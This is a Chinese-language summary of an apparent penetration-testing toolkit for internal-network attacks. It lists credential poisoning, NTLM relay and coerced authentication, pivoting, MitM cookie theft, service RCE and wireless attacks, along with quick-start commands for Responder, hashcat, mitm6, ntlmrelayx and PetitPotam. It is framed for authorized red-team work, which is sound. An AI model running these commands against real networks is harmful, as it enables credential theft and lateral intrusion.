用途：用于内网渗透测试中的网络攻击与横向移动，适用于从无凭证的线路位置或初始据点发起测试。
主要能力：二三层投毒与凭证捕获（LLMNR/NBT-NS/mDNS、ARP/DHCP、IPv6 mitm6）；强制认证与 NTLM 中继（签名/EPA 映射、CVE-2025-33073 反射）；跨网段跳板与隧道（Ligolo-ng、Chisel、SSH、DNS 隧道）；流量拦截与 MitM（bettercap、RDP/SSH/STARTTLS 降级、Cookie 窃取）；网络服务利用（SMB/RDP/RDL/NEGOEX RCE、MSSQL/WinRM/LDAP）；无线评估（WPA2 抓包破解、WPA3-Transition 降级、evil-twin 802.1X）。AD 专属中继目标与票据/DCSync 工作交由 active-directory-attack。
使用方式：资料给出快速开始命令，例如 responder -I eth0 -A 先静默分析，responder -I eth0 -wd 投毒；python3 scripts/responder_loot_parser.py --logs /usr/share/responder/logs --outdir loot；hashcat -m 5600 loot/hashes_NTLMv2.txt rockyou.txt -r best64.rule；sudo bash scripts/mitm6_relay_launcher.sh corp.local eth0 ldaps-rbcd dc01.corp.local；python3 scripts/relay_target_finder.py 10.0.0.0/24 -o relay_targets.txt --json surface.json；impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks；python3 PetitPotam.py -d corp.local -u user -p 'Pass' <RELAY_IP> <TARGET>；python3 scripts/net_service_scan.py 10.0.0.0/24 --json services.json；bash scripts/pivot_autoroute.sh ligolo 0.0.0.0 11601；sudo bash scripts/wifi_attack.sh mon-up wlan0 等。
适用场景：内网渗透、红队评估、无线安全测试。
限制：多数技术依赖目标未启用 SMB 签名/EPA、LLMNR 未禁用等条件；部分 RCE 存在内存破坏与 DoS 风险，需实验室验证与授权；无线降级依赖客户端不校验证书等前提。资料未提供收费、价格与平台信息。